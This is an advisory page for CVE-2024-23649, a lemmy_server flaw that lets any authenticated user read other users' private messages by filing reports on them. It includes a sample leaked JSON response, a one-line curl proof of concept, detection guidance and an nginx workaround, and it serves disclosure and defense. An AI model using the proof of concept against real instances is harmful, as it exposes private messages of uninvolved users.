CVE-2024-23649 is a high-severity (CVSS 7.5) Information Exposure vulnerability in lemmy_server. A fix is available for lemmy_server — see the affected versions and patch details below.
Any authenticated user may obtain private message details from other users on the same instance
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2024-23649 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 386,684 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
lemmy_serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Users can report private messages, even when they're neither sender nor recipient of the message. The API response to creating a private message report contains the private message itself, which means any user can just iterate over message ids to (loudly) obtain all private messages of an instance. A user with instance admin privileges can also abuse this if the private message is removed from the response, as they're able to see the resulting reports.
Details
Creating a private message report by POSTing to /api/v3/private_message/report does not validate whether the reporter is the recipient of the message.
At least lemmy-ui does not allow the sender to report the message; the API method should likely be restricted to accessible to recipients only.
The API response when creating a report contains the private_message_report_view with all the details of the report, including the private message that has been reported:
In the report below, the creator with id 3 is different from the private message creator (id 2) and private message recipient (id 6).
{
"private_message_report_view": {
"private_message_report": {
"id": 14,
"creator_id": 3,
"private_message_id": 7,
"original_pm_text": "testfoo",
"reason": "reporting id 7",
"resolved": false,
"published": "2023-12-15T19:23:03.441967Z"
},
"private_message": {
"id": 7,
"creator_id": 2,
"recipient_id": 6,
"content": "testfoo",
"deleted": false,
"read": false,
"published": "2023-12-15T19:21:41.920872Z",
"ap_id": "https://1b1w56.lem.rocks/private_message/7",
"local": true
},
"private_message_creator": {
"id": 2,
"name": "admin",
"banned": false,
"published": "2023-12-14T23:45:05.055427Z",
"actor_id": "https://1b1w56.lem.rocks/u/admin",
"local": true,
"deleted": false,
"bot_account": false,
"instance_id": 1
},
"creator": {
"id": 3,
"name": "testuser1",
"banned": false,
"published": "2023-12-14T23:47:57.571772Z",
"actor_id": "https://1b1w56.lem.rocks/u/testuser1",
"local": true,
"deleted": false,
"bot_account": false,
"instance_id": 1
}
}
}
</details>
If these details were not available in the response, but reports could still be created by any user, or at least by any admin, this would allow an instance admin to create reports and obtain the message contents from the report system.
This was originally discovered from incorrect reports on a 0.18.5 instance and has been replicated in a 0.19.0 test environment.
PoC
curl -v 'https://myinstance.tld/api/v3/private_message/report' -X POST -H 'Content-Type: application/json' -H 'authorization: Bearer ...' --data-raw '{"private_message_id":1,"reason":"i like reports"}'
Impact
Any authenticated user can obtain arbitrary (untargeted) private message contents. Privileges required depend on the instance configuration; when registratons are enabled without application system, the privileges required are practically none. When registration applications are required, privileges required could be considered low, but this assessment heavily varies by instance.
Detection
Any private message reports where the report creator is not equal to the private message recipient may be an attempt to exploit this. As this was originally discovered from an incorrect report, likely related to a bug in a client app, it should be noted that not all mismatching reports should be considered malicious; though a frequent occurrence of them likely indicates an exploitation attempt.
Workaround when updating is not immediately possible
If an update to a fixed Lemmy version is not immediately possible, the API route can be blocked in the reverse proxy. This will prevent anyone from reporting private messages, but it will also prevent exploitation before the update has been applied.
nginx example:
location = /api/v3/private_message/report {
default_type application/json;
return 403 '{"error":"couldnt_create_report"}';
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | lemmy_server | ≥ 0.17.0&&< 0.19.1 | 0.19.1cargo update -p lemmy_server --precise 0.19.1 |
Affected Products
lemmyjoin-lemmyDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemmy_server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update lemmy_server to 0.19.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-23649 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2024-23649 in your dependencies?
Find it across crates.io, including transitive dependencies.